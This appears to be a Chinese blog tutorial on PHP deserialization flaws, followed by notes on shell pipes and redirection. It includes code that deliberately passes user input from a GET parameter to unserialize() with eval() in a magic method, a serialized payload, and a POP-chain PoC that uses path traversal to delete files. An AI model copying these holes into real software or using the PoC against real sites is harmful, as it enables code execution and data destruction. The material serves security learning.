\u7c7b\u578b:d\t\t\t->d\u4ee3\u8868\u4e00\u4e2a\u6574\u578b\u6570\u5b57\nO:d\t->\t\u5bf9\u8c61\t\t->d\u4ee3\u8868\u8be5\u5bf9\u8c61\u7c7b\u578b\u7684\u957f\u5ea6,\u4f8b\u5982\u4e0a\u8ff0\u7684azhe\u7c7b\u5bf9\u8c61\u957f\u5ea6\u4e3a4\uff0c\u539f\u751f\u7c7b\u5bf9\u8c61Error\u957f\u5ea6\u4e3a5\na:d\t->\t\u6570\u7ec4\t\t->d\u4ee3\u8868\u6570\u7ec4\u5185\u90e8\u5143\u7d20\u6570\u91cf\uff0c\u4f8b\u5982array('a'=>'b','x'=>1)\u6709\u4e24\u4e2a\u5143\u7d20\ns:d\t->\t\u5b57\u7b26\u4e32\t\t-dN\u4ee3\u8868\u5b57\u7b26\u4e32\u957f\u5ea6,\u4f8b\u5982abc\u5e8f\u5217\u5316\u540e\u4e3as:3:\"abc\";\ni:d\t->\t\u6574\u578b\t\t->d\u4ee3\u8868\u6574\u578b\u53d8\u91cf\u7684\u503c,\u4f8b\u5982300\u5e8f\u5217\u5316\u540e\u7684\u503c\u5219\u4e3ai:300;\n\na - array\nb - boolean\nd - double\ni - integer\no - common object\nr - reference\ns - string\nC - custom object\nO - class\nN - null\nR - pointer reference\nU - unicode string\n<\/code><\/pre>\n\n\n\nclass Xlh{\n\tpublic $test=123;\n\tprotected $test2='123';\n\tprivate $test3=array(1,2,'san');\n}\n\n$xlh= new Xlh();\n$xlh=serialize($xlh);\necho $xlh.\"<br>\";\n\n$fxlh=unserialize($xlh);\nprint_r($fxlh);\n\/*\n$aaa=123;\ni:123\n\n$bb=\"123\";\ns:2:\"123\";\n*\/\n\u7ed3\u679c\uff1a\nO:3:\"Xlh\":3:{s:4:\"test\";i:123;s:8:\"%00*%00test2\";s:3:\"123\";s:10:\"%00Xlh%00test3\";a:3:{i:0;i:1;i:1;i:2;i:2;s:3:\"san\";}}\nXlh Object ( [test] => 123 [test2:protected] => 123 [test3:Xlh:private] => Array ( [0] => 1 [1] => 2 [2] => san ) ) \n<\/code><\/pre>\n\n\n\n\u200b \u5e8f\u5217\u5316\u7684\u683c\u5f0f\uff1a\u4e0d\u540c\u7684\u7c7b\u578b\u5e8f\u5217\u5316\u4e4b\u540e\u7684\u8868\u793a\u65b9\u5f0f\u5927\u540c\u5c0f\u5f02\uff1b<\/p>\n\n\n\n![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n\u6f0f\u6d1e\u539f\u7406\u5b9e\u4f8b\uff1a<\/h3>\n\n\n\n
\u5728\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u53c2\u6570\u7528\u6237\u53ef\u63a7\uff0c\u9b54\u672f\u65b9\u6cd5\u4e2d\u5b58\u5728\u5371\u5bb3\u51fd\u6570\uff0c\u5c31\u4f1a\u4ea7\u751f\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff0c\u4e0b\u9762\u7ed9\u51fa\u4e00\u4e2a\u6700\u7b80\u5355\u7684\u5b9e\u4f8b<\/strong><\/p>\n\n\n\n<?php
\u200b
class test{
\u200b
var $id = 'Baize';
function __wakeup(){
eval($this->id);
}
\u200b
}
\u200b
$test1 = $_GET['string'];
\u200b
$test2 = unserialize($test1);
\u200b
?><\/pre>\n\n\n\n\u5ba1\u8ba1\u4ee3\u7801\uff0c\u603b\u7ed3\u5982\u4e0b<\/strong><\/p>\n\n\n\n1.\u53ef\u63a7\u53c2\u6570\u662fGET\u578bstring\u53c2\u6570<\/p>\n\n\n\n
2.\u540e\u7aef\u63a5\u6536\u53c2\u6570\u540e\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c<\/p>\n\n\n\n
3.test\u7c7b\u4e2d\u5b58\u5728__wakeup\u9b54\u672f\u65b9\u6cd5\uff0c\u64cd\u4f5c\u662feval($id)<\/p>\n\n\n\n
\u90a3\u4e48\u6211\u4eec\u601d\u8def\u662f\uff1a\u6784\u9020test\u7c7b\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff0c\u4f7f\u5f97\u53cd\u5e8f\u5217\u5316\u540e\u5f97$id\u503c\u4e3a\u8981\u6267\u884c\u7684\u64cd\u4f5c\uff0c\u4f8b\u5982\u6211\u4eec\u8981\u6267\u884cphpinfo()\uff0c\u90a3\u4e48\u53ef\u4ee5\u6784\u9020\u8fd9\u6837\u4e00\u4e2a\u5b57\u7b26\u4e32<\/p>\n\n\n\n
O:4:\"test\":1:{s:2:\"id\";s:10:\"phpinfo();\"}<\/pre>\n\n\n\n\u5728\u53cd\u5e8f\u5217\u5316\u540e\u4f1a\u91cd\u65b0\u521b\u5efa\u8be5\u5bf9\u8c61test\uff0c\u5e76\u4e14id\u53c2\u6570\u4f1a\u6062\u590d\u4e3a\u6211\u4eec\u63d0\u4ea4\u7684\u5e8f\u5217\u5316\u53c2\u6570\u4e2d\u8bbe\u5b9a\u7684\u503c\uff0c\u5373phpinfo(); \uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u63a8\u7406\u51fa\u53cd\u5e8f\u5217\u5316\u4e4b\u540e\u7684test\u5bf9\u8c61\u5927\u81f4\u5982\u4e0b<\/p>\n\n\n\n
<?php
\u200b
class test{
\u200b
var $id = 'phpinfo();';
function __wakeup(){
eval($this->id);
}
\u200b
}
\u200b
?><\/pre>\n\n\n\n\u800c\u53cd\u5e8f\u5217\u5316\u4f1a\u65f6\u4f1a\u81ea\u52a8\u8c03\u7528__wakeup\u9b54\u672f\u65b9\u6cd5\uff0c\u5373\u6267\u884ceval(phpinfo();)<\/code><\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n\u6f0f\u6d1e\u68c0\u6d4b\uff1a<\/h2>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u53d1\u73b0\u4e00\u822c\u9700\u5ba1\u8ba1\u6e90\u7801\uff0c\u5bfb\u627e\u53ef\u5229\u7528\u7684pop\u94fe<\/strong><\/p>\n\n\n\n\u4e0a\u9762\u7684\u4f8b\u5b50\u4e3a\u4e86\u8ba9\u5927\u5bb6\u7406\u89e3\uff0c\u8f83\u4e3a\u7b80\u5355\uff0c\u76f4\u63a5\u5728\u9b54\u672f\u65b9\u6cd5\u4e2d\u5c31\u6709\u53ef\u4ee5\u5229\u7528\u7684\u6f0f\u6d1e\uff0c\u81ea\u52a8\u8c03\u7528\u9b54\u672f\u65b9\u6cd5\u4ece\u800c\u89e6\u53d1\u6f0f\u6d1e\uff0c\u800c\u5b9e\u9645\u4e2d\u57fa\u672c\u4e0d\u4f1a\u6709\u8fd9\u79cd\u8fd9\u4e48\u7b80\u5355\u7684\uff0c\u66f4\u591a\u7684\u5219\u662f\u9700\u8981\u901a\u8fc7\u5bfb\u627e\u76f8\u540c\u7684\u51fd\u6570\u540d\u5c06\u7c7b\u7684\u5c5e\u6027\u548c\u654f\u611f\u51fd\u6570\u7684\u5c5e\u6027\u8054\u7cfb\u8d77\u6765<\/p>\n\n\n\n
\u4e0b\u9762\u6211\u4eec\u5c31\u901a\u8fc7\u4e24\u9053\u7b80\u5355\u7684\u9898\u76ee\u6765\u5b66\u4e60\u6784\u9020\u7b80\u5355\u7684pop\u94fe\u6765\u5229\u7528\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/p>\n\n\n\n
POP CHAIN(POP\u94fe)\uff1a<\/h2>\n\n\n\n\u6982\u5ff5\uff1a<\/h3>\n\n\n\n
\u901a\u8fc7\u7528\u6237\u53ef\u63a7\u7684\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\uff0c\u5176\u4e2d\u53ef\u89e6\u53d1\u7684\u9b54\u672f\u65b9\u6cd5\u4e3a\u51fa\u53d1\u70b9\uff0c\u5728\u9b54\u672f\u65b9\u6cd5\u4e2d\u7684\u51fd\u6570\u5728\u5176\u4ed6\u7c7b\u4e2d\u5b58\u5728\u540c\u540d\u51fd\u6570\uff0c\u6216\u901a\u8fc7\u4f20\u9012\uff0c\u5173\u8054\u7b49\u53ef\u4ee5\u8c03\u7528\u7684\u5176\u4ed6\u6267\u884c\u654f\u611f\u64cd\u4f5c\u7684\u51fd\u6570\uff0c\u7136\u540e\u4f20\u9012\u53c2\u6570\u6267\u884c\u654f\u611f\u64cd\u4f5c\uff0c\u5373<\/p>\n\n\n\n
\u7528\u6237\u53ef\u63a7\u53cd\u5e8f\u5217\u5316\u2192\u9b54\u672f\u65b9\u6cd5\u2192\u9b54\u672f\u65b9\u6cd5\u4e2d\u8c03\u7528\u7684\u5176\u4ed6\u51fd\u6570\u2192\u540c\u540d\u51fd\u6570\u6216\u901a\u8fc7\u4f20\u9012\u53ef\u8c03\u7528\u7684\u51fd\u6570\u2192\u654f\u611f\u64cd\u4f5c<\/strong><\/p>\n\n\n\n\u5b9e\u4f8b\u89e3\u67901\uff1a<\/h3>\n\n\n\n
\u6e90\u7801\uff1a<\/p>\n\n\n\n
<?php
\u200b
class Test1{
protected $obj;
\u200b
function __construct(){
\u200b
$this->obj = new Test3;
\u200b
}
function __toString(){
\u200b
if (isset($this->obj)) return $this->obj->Delete();
\u200b
}
\u200b
}
\u200b
class Test2{
public $cache_file;
\u200b
function Delete(){
$file = \u201c\/var\/www\/html\/cache\/tmp\/{$this->cache_file}\u201d;
\u200b
if (file_exists($file)){
\u200b
@unlink($file);
}
return 'I am a evil Delete function';
\u200b
}
\u200b
}
\u200b
class Test3{
\u200b
function Delete(){
\u200b
return 'I am a safe Delete function';
\u200b
}
\u200b
}
\u200b
$user_data = unserialize($_GET['data']);
\u200b
echo $user_data;
\u200b
?><\/code><\/pre>\n\n\n\n\u4ee3\u7801\u5206\u6790\uff1a<\/h4>\n\n\n\n
\u9996\u5148\u6211\u4eec\u770b\u6700\u9650\u5236\u884c\u7684\u64cd\u4f5c\u5728\u6700\u4e0b\u9762\u53cd\u5e8f\u5217\u5316GET\u5230\u7684\u53c2\u6570data\uff0c\u7136\u540e\u6267\u884cecho $user_data\uff0c\u8fd9\u91cc\u5982\u679c$user_data\u662f\u4e00\u4e2a\u7c7b\u5b9e\u4f8b\u5316\u6765\u7684\u5bf9\u8c61\u7684\u8bdd\uff0c\u5c31\u4f1a\u89e6\u53d1\u5bf9\u8c61\u4e2d\u7684__tostring()\u9b54\u672f\u65b9\u6cd5<\/p>\n\n\n\n
\u5176\u6b21\u6e90\u7801\u4e2d\u6709\u4e09\u4e2a\u7c7b\uff0c\u5206\u522b\u662fTest1\uff0cTest2\uff0cTest3\uff0c\u4f9d\u6b21\u5206\u6790<\/p>\n\n\n\n
Test1\uff1a<\/strong><\/p>\n\n\n\nclass Test1{
protected $obj;
\u200b
function __construct(){
\u200b
$this->obj = new Test3;
\u200b
}
function __toString(){
\u200b
if (isset($this->obj)) return $this->obj->Delete();
\u200b
}
\u200b
}<\/code><\/pre>\n\n\n\n1.\u9996\u5148\u58f0\u660e\u4e86$obj\u53d8\u91cf<\/p>\n\n\n\n
2.\u7c7b\u4e2d\u6709__construct()\u548c__tostring()\u9b54\u672f\u65b9\u6cd5\uff0c__construct()\u65b9\u6cd5\u4e3a$obj\u53d8\u91cf\u8d4b\u503c\u4e3aTest3\u7c7b\u7684\u5b9e\u4f8b\u5316\u5bf9\u8c61\uff0c__tostring()\u65b9\u6cd5\u5224\u65ad\u5982\u679c$obj\u53d8\u91cf\u5b58\u5728\u5219\u8fd4\u56de\u8c03\u7528$obj\u5bf9\u8c61\u4e2d\u7684Delete()\u51fd\u6570<\/p>\n\n\n\n
Test2\uff1a<\/strong><\/p>\n\n\n\nclass Test2{
public $cache_file;
\u200b
function Delete(){
$file = \u201c\/var\/www\/html\/cache\/tmp\/{$this->cache_file}\u201d;
\u200b
if (file_exists($file)){
\u200b
@unlink($file);
}
return 'I am a evil Delete function';
\u200b
}
\u200b
}<\/code><\/pre>\n\n\n\n1.\u9996\u5148\u58f0\u660e\u4e86$cache_file\u53d8\u91cf<\/p>\n\n\n\n
2.\u5b9a\u4e49\u4e86Delete()\u51fd\u6570\uff0c\u5982\u679c\u5b9a\u4e49\u7684$file\u53d8\u91cf\u4e2d\u7684\u6587\u4ef6\u5b58\u5728\uff0c\u5219\u5220\u9664\u6b64\u6587\u4ef6\u5e76\u8fd4\u56de\u63d0\u793a\u5185\u5bb9<\/p>\n\n\n\n
Test3\uff1a<\/strong><\/p>\n\n\n\nclass Test3{
\u200b
function Delete(){
\u200b
return 'I am a safe Delete function';
\u200b
}
\u200b
}<\/code><\/pre>\n\n\n\n1.\u5b9a\u4e49\u4e86Delete()\u51fd\u6570,\u6b64\u51fd\u6570\u53ea\u8fd4\u56de\u4e00\u53e5\u8bdd\uff0c\u6ca1\u6709\u654f\u611f\u64cd\u4f5c\uff0c\u4e3a\u5b89\u5168\u51fd\u6570<\/p>\n\n\n\n
POP\u94fe\u6784\u9020\uff1a<\/h4>\n\n\n\n
\u9996\u5148\u51fa\u53d1\u70b9\u662fTest1\u4e2d\u7684__tostring()\u9b54\u672f\u65b9\u6cd5\uff0c\u5176\u4e2d\u8c03\u7528\u4e86$this->obj\u4e2d\u7684Delete()\u51fd\u6570\uff0c\u800c$this->obj\u662f\u5728\u5b9e\u4f8b\u5316\u5bf9\u8c61\u662f\u89e6\u53d1__construct\u65b9\u6cd5\uff0c\u5c06$this->obj\u4f5c\u4e3a\u5b9e\u4f8b\u5316Test3\u7c7b\u7684\u5bf9\u8c61\uff0c\u90a3\u4e48\u6b64\u65f6\u8c03\u7528\u7684\u5c31\u662fTest3\u7c7b\u4e2d\u7684Delete()\u51fd\u6570\uff0c\u53ea\u8fd4\u56de\u4e00\u53e5\u63d0\u793a\uff0c\u90a3\u4e48\u6b64\u65f6\u7684\u6267\u884c\u6d41\u5982\u4e0b<\/p>\n\n\n\n
Test1\u7c7b\u2192__construct()\u2192$this->obj=new Test3\u2192__tostring()\u2192Test3.Delete\u65b9\u6cd5<\/p>\n\n\n\n
\u4e0d\u8fc7\u5728Test2\u7c7b\u4e2d\u4e5f\u5b9a\u4e49\u4e86\u548cTest3\u4e2d\u540c\u540d\u7684\u51fd\u6570Delete()\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u7279\u5b9a\u7684\u53cd\u5e8f\u5217\u5316\u53c2\u6570\u6765\u4fee\u6539\u6267\u884c\u6d41\uff0c\u4e5f\u5c31\u662f\u6784\u9020\u6211\u4eec\u7684POP\u94fe\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u540e\u4f7f\u7528Test2\u7c7b\u4e2d\u7684Delete()\u6765\u6267\u884c\u654f\u611f\u64cd\u4f5c\uff0c\u8ba9\u6267\u884c\u6d41\u5982\u4e0b<\/p>\n\n\n\n
Test1\u7c7b\u2192__construct()\u2192$this->obj=new Test2\u2192__tostring()\u2192Test2.Delete\u65b9\u6cd5<\/p>\n\n\n\n
\u90a3\u4e48POP\u94fe\u7684\u6784\u9020\u5c31\u662f\u901a\u8fc7\u53cd\u5e8f\u5217\u5316\u548cecho\u6765\u89e6\u53d1__tostring()\u9b54\u672f\u65b9\u6cd5\uff0c\u5e76\u4e14\u6b64\u65b9\u6cd5\u4e2d\u8c03\u7528Test2\u4e2d\u7684Delete()\u65b9\u6cd5\uff0c\u9020\u6210\u4efb\u610f\u6587\u4ef6\u5220\u9664\u7684\u5371\u5bb3\u3002<\/p>\n\n\n\n
\u5229\u7528POC\uff1a<\/h4>\n\n\n\n<?php\nclass Test1{\nprotected $obj;\nfunction __construct(){\n$this->obj = new Test2;\n}\n}\n\u200b\nclass Test2{\npublic $cache_file = '..\/..\/..\/..\/test.php';\n}\n\u200b\n$evil = new Test1();\n\u200b\necho urlencode(serialize($evil));\n\u200b\n?><\/code><\/pre>\n\n\n\n\u4e2a\u4eba\u7406\u89e3\uff0c\u5e8f\u5217\u5316\u662f\u4fbf\u4e8e\u5bf9\u6570\u636e\u8fdb\u884c\u5b58\u50a8\u548c\u5904\u7406\uff08\u4f20\u8f93\uff09\uff0c\u53cd\u5e8f\u5217\u5316\u4fbf\u4e8e\u4ee3\u7801\u7684\u6267\u884c\uff1f<\/p>\n\n\n\n
\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff1a<\/p>\n\n\n\n
\u6784\u9020pop\u94fe\uff0c\u6784\u9020\u4e00\u4e2a\u5e8f\u5217\u5316\u6570\u636e\uff08\u5305\u542b\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u3001\u547d\u4ee4\uff09\u3001\u5229\u7528pop\u94fe\u5c06\u6784\u9020\u597d\u7684\u5e8f\u5217\u5316\u6570\u636e\u4f20\u5165\u3002<\/p>\n\n\n\n
\u7ba1\u9053<\/h2>\n\n\n\n \u4ec0\u4e48\u662f\u7ba1\u9053\u547d\u4ee4 <\/h3>\n\n\n\n
\u3000\u3000\u7ba1\u9053\u547d\u4ee4\u80fd\u591f\u5c06\u4e00\u4e2a\u547d\u4ee4\u7684\u6267\u884c\u7ed3\u679c\u7ecf\u8fc7\u7b5b\u9009\uff0c\u53ea\u4fdd\u7559\u6211\u4eec\u9700\u8981\u7684\u4fe1\u606f\u3002 \u3000\u3000<\/p>\n\n\n\n
\u5982 dir \u547d\u4ee4\u4f1a\u663e\u793a\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6\u5939\u548c\u6587\u4ef6\uff0c\u53ef\u4ee5\u4f7f\u7528\u7ba1\u9053\u547d\u4ee4| findstr “” \u5c06dir\u7684\u7ed3\u679c\u8fdb\u884c\u7b5b\u9009\uff0c\u53ea\u4fdd\u7559\u9700\u8981\u7684\u4fe1\u606f <\/p>\n\n\n\n
1\u3001Windows netstat \u67e5\u770b\u7aef\u53e3\u3001\u8fdb\u7a0b\u5360\u7528<\/strong><\/p>\n\n\n\n\/\/ \u5047\u5982\u6211\u4eec\u9700\u8981\u786e\u5b9a\u8c01\u5360\u7528\u4e86\u6211\u4eec\u76849050\u7aef\u53e3\n\nC:\/>netstat -aon|findstr \"9050\"\n\nTCP 127.0.0.1:9050 0.0.0.0:0 LISTENING 2016\n\n\n\/\/\u7aef\u53e3\u88ab\u8fdb\u7a0b\u53f7\u4e3a2016\u7684\u8fdb\u7a0b\u5360\u7528\uff0c\u7ee7\u7eed\u6267\u884c\u4e0b\u9762\u547d\u4ee4\uff1a\n\nC:\/>tasklist|findstr \"2016\"\n\ntor.exe 2016 Console 0 16,064 K\n\n\/\/ tor.exe \u5360\u7528\u4e86\u4f60\u7684\u7aef\u53e3<\/code><\/pre>\n\n\n\n2\u3001\u67e5\u770b\u6587\u4ef6\u5939\u76ee\u5f55\u7ed3\u6784<\/strong><\/p>\n\n\n\ntree > list.txt\n\ntree \/f >list.txt<\/code><\/pre>\n\n\n\n3\u3001\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411<\/strong><\/p>\n\n\n\necho -c \/\/ -c:\u4e0d\u6362\u884c,linux\u4e0b\u5219\u662f-n<\/code><\/pre>\n\n\n\n\u8f93\u5165\u8f93\u51fa\u91cd\u5b9a\u5411:<\/p>\n\n\n\n
\u6bcf\u6267\u884c\u4e00\u4e2a\u547d\u540d,\u90fd\u4f1a\u67093\u4e2a\u4e0e\u4e4b\u76f8\u5173\u7684\u6587\u4ef6.\u6807\u51c6\u8f93\u5165\u6587\u4ef6,\u6807\u51c6\u8f93\u51fa\u6587\u4ef6,\u9519\u8bef\u8f93\u51fa\u6587\u4ef6.<\/p>\n\n\n\n
\u56e0\u4e3aunix\/linux\u4e0b\u628a\u4efb\u4f55\u4e00\u4e2a\u8bbe\u5907\u90fd\u5f53\u4f5c\u6587\u4ef6\u770b\u5f85,\u6240\u6709\u5b9e\u9645\u4e0a\u6807\u51c6\u8f93\u5165\u6587\u4ef6\u662f\u952e\u76d8,<\/p>\n\n\n\n
\u6807\u51c6\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u6587\u4ef6\u662f\u5c4f\u5e55.<\/p>\n\n\n\n
> \u8f93\u51fa\u91cd\u5b9a\u5411<\/p>\n\n\n\n
< \u8f93\u5165\u91cd\u5b9a\u5411<\/p>\n\n\n\n
<< \u8f93\u5165\u8ffd\u52a0<\/p>\n\n\n\n
>> \u8f93\u5165\u8ffd\u52a0<\/p>\n\n\n\n
\u6587\u4ef6\u63cf\u8ff0\u7b26:<\/p>\n\n\n\n
\u6bcf\u4e00\u4e2a\u6587\u4ef6\u53ef\u4ee5\u7528\u6587\u4ef6\u63cf\u8ff0\u7b26\u6765\u63cf\u8ff0,\u7cfb\u7edf\u63d0\u4f9b12\u4e2a,3-9\u53ef\u4ee5\u4efb\u610f\u5b9a\u4e49.0-2\u7cfb\u7edf\u5b9a\u4e49\u5982\u4e0b:<\/p>\n\n\n\n
0 \u6807\u51c6\u8f93\u5165 \u952e\u76d8<\/p>\n\n\n\n
1 \u6807\u51c6\u8f93\u51fa \u663e\u793a\u5668<\/p>\n\n\n\n
2 \u9519\u8bef\u8f93\u51fa \u663e\u793a\u5668<\/p>\n\n\n\n
\u5373\u53ef\u4ee5\u75280-2\u4ee3\u8868\u4e0a\u9762\u76843\u4e2a\u6587\u4ef6.<\/p>\n\n\n\n
\u4f8b\u5982:cmd>file \/\/cmd\u7684\u8f93\u51fa\u91cd\u5b9a\u5411\u5230file\u6587\u4ef6<\/p>\n\n\n\n
cmd>>file \/\/cmd\u7684\u8f93\u51fa\u8ffd\u52a0\u5230file\u4e2d,\u65e0\u5219\u521b\u5efa<\/p>\n\n\n\n
cmd 1>file \/\/\u628a\u8fd0\u884ccmd\u7684shell\u7684\u6807\u51c6\u8f93\u51fa\u91cd\u5b9a\u5411\u5230file\u4e2d,1\u4ee3\u8868\u6807\u51c6\u8f93\u51fa<\/p>\n\n\n\n
cmd>file 2>&1 \/\/\u628acmd\u7684\u8f93\u51fa\u91cd\u5b9a\u5411\u5230file,\u540c\u65f6\u628a2(\u9519\u8bef\u8f93\u51fa)\u91cd\u5b9a\u5411\u52301(\u6807\u51c6\u8f93\u51fa).<\/p>\n\n\n\n
2 > 1 \u5219\u4f1a\u628a1\u5f53\u6210\u6587\u4ef6,\u6240\u6709\u628a\u9519\u8bef\u5b9a\u5411\u52301\u5fc5\u987b\u4f7f\u7528&1.<\/p>\n\n\n\n
cmd 2>file \/\/\u628a\u9519\u8bef\u8f93\u51fa\u5b9a\u5411\u5230file\u4e2d<\/p>\n\n\n\n
cmd>>file 2>&1 \/\/\u628a\u9519\u8bef\u548ccmd\u8f93\u51fa\u8ffd\u52a0\u5230file\u4e2d,cmd>>file,\u8ffd\u52a0;2>&1,\u9519\u8bef\u5b9a\u5411\u5230<\/p>\n\n\n\n
\u6807\u51c6\u8f93\u51fa,\u6807\u51c6\u8f93\u5165\u53c8\u8ffd\u52a0\u5230file\u4e2d,\u6240\u4ee5\u9519\u8bef\u548ccmd\u8f93\u51fa\u90fd\u8ffd\u52a0\u5230file<\/p>\n\n\n\n
cmd 1>>file 2>&1 \/\/\u53ef\u4ee5\u628a\u6b64\u547d\u4ee4\u7b49\u6548\u4e8e\u4e0a\u4e00\u4e2a\u547d\u4ee4<\/p>\n\n\n\n
cmdfile2 \/\/cmd\u7684\u8f93\u5165\u662ffile1,\u7ed3\u679c\u8f93\u51fa\u5230file2<\/p>\n\n\n\n
cmd<<END \/\/cmd\u4f7f\u7528\u6807\u51c6\u8f93\u5165,\u76f4\u5230\u9047\u5230END\u5219\u9000\u51fa.END\u53ef\u4e3a\u4efb\u610f\u4e00\u4e2a\u5b57\u7b26<\/p>\n\n\n\n
\u7406\u89e3:cmd\u4f7f\u7528\u9ed8\u8ba4\u7684\u6807\u51c6\u8f93\u5165,\u8fd0\u884c,\u78b0\u5230END,\u5219\u8ffd\u52a0,\u4f46\u662f\u6807\u51c6\u8f93\u5165\u8f93\u51fa<\/p>\n\n\n\n
\u4e0d\u80fd\u8ffd\u52a0,\u4e8e\u662f\u51fa\u9519\u9000\u51fa.<\/p>\n\n\n\n
\u6ce8:\u7ecf\u8bd5\u9a8c\u7406\u89e3\u4e0d\u5bf9,\u636elinux shell\u7f16\u7a0b25\u7ae0\u7684\u8bf4\u6cd5,<\/p>\n\n\n\n
\u8fd9\u662fshell\u5b9a\u7684\u8bed\u6cd5.\u53ef\u4ee5\u76f4\u63a5\u7406\u89e3\u6210END\u4e3a\u5206\u9694\u7b26.<\/p>\n\n\n\n
cmd<&m \/\/\u628a\u6587\u4ef6\u63cf\u8ff0\u7b26m\u4f5c\u4e3acmd\u7684\u8f93\u5165<\/p>\n\n\n\n
cmd>&m \/\/\u628a\u6587\u4ef6\u63cf\u8ff0\u7b26m\u4f5c\u4e3acmd\u7684\u8f93\u51fa<\/p>\n\n\n\n
cmd<&- \/\/\u5173\u95ed\u6807\u51c6\u8f93\u5165.<\/p>\n\n\n\n
!!!\u6ce8\u610f:<\/p>\n\n\n\n
1. \u8f93\u5165\u8f93\u51fa\u5b9a\u5411\u7b26\u524d\u9762\u4e0d\u8981\u52a0\u7a7a\u683c,\u5426\u5219\u5bb9\u6613\u51fa\u610f\u60f3\u4e0d\u5230\u7684\u95ee\u9898<\/p>\n\n\n\n
2. 0 1 2\u4e0d\u80fd\u4f7f\u7528>>\u6216<<\u5b9a\u5411\u7b26,\u4f8b: 2>>&1 \u51fa\u9519<\/p>\n\n\n\n
Jar\u5305<\/h2>\n\n\n\n
\u5728\u751f\u6210jar\u5305\u65f6\u8981\u6ce8\u610f\u7cfb\u7edf\u73af\u5883\u9ed8\u8ba4\u7684\u7f16\u7801\uff0c\u6bd4\u5982\u8981\u751f\u6210\u4e00\u4e2apoc\u5728burp\u4e2d\u53d1\u9001\uff0c\u6700\u597d\u662f\u5728linux\u4e2d\u751f\u6210\uff0c\u5728windows\u4e0b\uff0c\u6216\u8005macOS\u4e2d\u8981\uff0c\u53ef\u80fd\u52a0\u4e0a-Denc-Dfile.encoding=utf-8<\/p>\n\n\n\n
\u53c2\u8003\u6587\u7ae0<\/p>\n\n\n\n
CMD\u547d\u4ee4\u884c\u7ba1\u9053\u547d\u4ee4 – quanzhan – \u535a\u5ba2\u56ed (cnblogs.com)<\/a><\/p>\n\n\n\n\u89e3\u51b3jar\u5305\u5728cmd\u91cc\u8fd0\u884c\u548cIDE\u91cc\u8fd0\u884c\u4e0d\u4e00\u81f4\u95ee\u9898 – \u738b\u5e05\u771f – \u535a\u5ba2\u56ed (cnblogs.com)<\/a><\/p>\n\n\n\n
![\"\"](\"http:\/\/www.nokws.top\/wp-content\/uploads\/2021\/12\/image-8.png\")
<\/div><\/figure>\n\n\n\n![\"1612434781_601bcd5d9b33b8c2e3fa7.png!small?1612434781885\"\/](\"https:\/\/image.3001.net\/images\/20210204\/1612434781_601bcd5d9b33b8c2e3fa7.png!small?1612434781885\")
<\/div><\/figure>\n\n\n\n